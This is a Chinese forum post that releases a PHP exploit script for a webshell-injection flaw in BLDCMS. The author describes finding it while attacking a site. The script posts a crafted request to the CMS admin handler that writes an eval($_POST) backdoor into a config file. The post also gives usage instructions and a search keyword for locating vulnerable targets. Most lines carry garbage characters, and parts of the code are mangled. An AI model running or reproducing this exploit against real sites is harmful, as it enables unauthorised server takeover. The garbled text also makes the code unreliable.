之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
! l b3 N" r4 O8 z8 y1 Q, F7 E2 |, d8 e2 M5 E
* q% V: D0 r" e: s d3 m话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 ! ^! W( f# w* W
) D9 i; X; I6 Z. V; a既然都有人发了 我就把我之前写好的EXP放出来吧
3 ~6 K* A1 t' X/ b6 q* \5 B9 c % ]2 I4 I5 c$ T
view source print?01.php;">/ m0 j! E( k$ Q' u5 Q
02.<!--?php' b2 t6 B! w& w; L% T
03.echo "-------------------------------------------------------------------
# W4 y! E6 }- j- L- A04.
- h) A0 j; \2 t1 X; ?2 I2 K0 L& f05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP4 T: b3 I7 Q) u1 q/ N1 P: O
06. # M M" z) l' ]* m
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
8 h4 n: { \- ?6 ]08. / S3 D( A' l) }" s% u5 _3 g
09.QQ:981009941\r\n 2013.3.21\r\n # N7 y! [ X5 y4 s; R& r0 k. _
10. + g/ s1 }9 V2 v7 T7 E
11.
9 N: \0 u k5 m1 }12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
# D8 k3 {/ P$ _% s1 u- A# k13. : U( ?, f2 _+ ^3 @
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------7 j6 e1 z4 S+ {9 \ r6 L
15. 9 Q7 k2 q* m7 N' J: T2 \5 u! s5 A
16.--------------------------------------------------------------------\r\n";9 X9 o8 P7 T5 `* }0 B7 b3 u5 f3 F
17.$url=$argv[1];
# Y( k+ d+ w/ L9 A: k* [18.$dir=$argv[2];8 C; u3 l: P2 D# V
19.$pass=$argv[3];! [4 ^- p* q: ~1 N" E
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';6 y: W9 z, x1 x, `' r; T' Z
21.if (emptyempty($pass)||emptyempty($url))
; F; x' r2 r& E$ k1 w22.{exit("请输入参数");}! J' p! t; C! {
23.else
Q7 F% V& Q2 M, g24.{
0 r5 f" i9 r F9 Y3 P) d' V8 ]25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev+ r4 o0 x q$ ?% P1 q
26. 0 ]$ a q" ~; A- h
27.al;6 F/ g* j E- F Q9 z
28.$length = strlen($fuckdata);5 H, T+ i1 A( T# Y9 S7 q
29.function getshell($url,$pass)
( [- ]: U9 Z+ ]* q5 [5 ]30.{+ p4 `0 C1 J0 Q
31.global $url,$dir,$pass,$eval,$length,$fuckdata;+ E2 \- F" v x8 g) G
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
0 f# `& X2 A# A* U' C4 x33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
! g! I8 g% _6 U6 N34.$header .= "User-Agent: MSIE\r\n";
, K! T, C' ` e( N+ g3 A35.$header .= "Host:".$url."\r\n";5 J( o! f; F4 b. H
36.$header .= "Content-Length: ".$length."\r\n";
5 l$ k3 ~+ r# D! A/ T37.$header .= "Connection: Close\r\n";
. d6 M4 j8 F& [0 c6 w38.$header .="\r\n";. V n8 R8 e$ d
39.$header .= $fuckdata."\r\n\r\n";
4 L5 t2 Z$ d/ A40.$fp = fsockopen($url, 80,$errno,$errstr,15);
/ K5 ?( j' G9 x" [: D* c& @/ l41.if (!$fp)4 w# y0 d( M2 o
42.{
+ q1 q+ [, l8 B% n: v. n& X43.exit ("利用失败:请检查指定目标是否能正常打开");% q. i. M; K6 l# Q/ [+ C
44.}6 M1 Q0 W* R( t+ }$ e
45.else{ if (!fputs($fp,$header))$ d, q( p8 a; Y$ f# |* T
46.{exit ("利用失败");}
2 \. `& S$ D; f Z. B0 t47.else
+ @! c) @9 q6 G4 r( J! L48.{
" A; P$ Q6 {1 r( P& w49.$receive = '';% z$ D) a5 U0 }: h' h
50.while (!feof($fp)) {
! N4 n! }- B3 M {& T! s4 I51.$receive .= @fgets($fp, 1000);5 m; l9 b% F, Q, w. P( E$ r
52.}
4 W+ D1 l4 y3 b0 ]53.@fclose($fp);( Y' K& q( j. {0 I3 G$ r, ?- W
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
' @, R8 ^ ]7 }# ` O, g# h55.
$ F# q4 S: Z0 o1 h8 c0 i56.GPC是否=off)";5 `, q( f' @3 F) E& G5 I
57.}}: \5 l; m2 `8 T
58.}/ s/ J' r: g( F0 L5 @
59.}- |. j7 M, c$ b7 t( m4 A
60.getshell($url,$pass);# X- V/ f. d: f% t
61.?-->, M& j1 ~0 }* U
5 R1 F+ \7 [5 I1 @: ]0 x: p" r0 ?. X6 g8 ^8 F
( p& a4 R+ h: O8 N; L
by 数据流# D; e* U8 R% D% i
|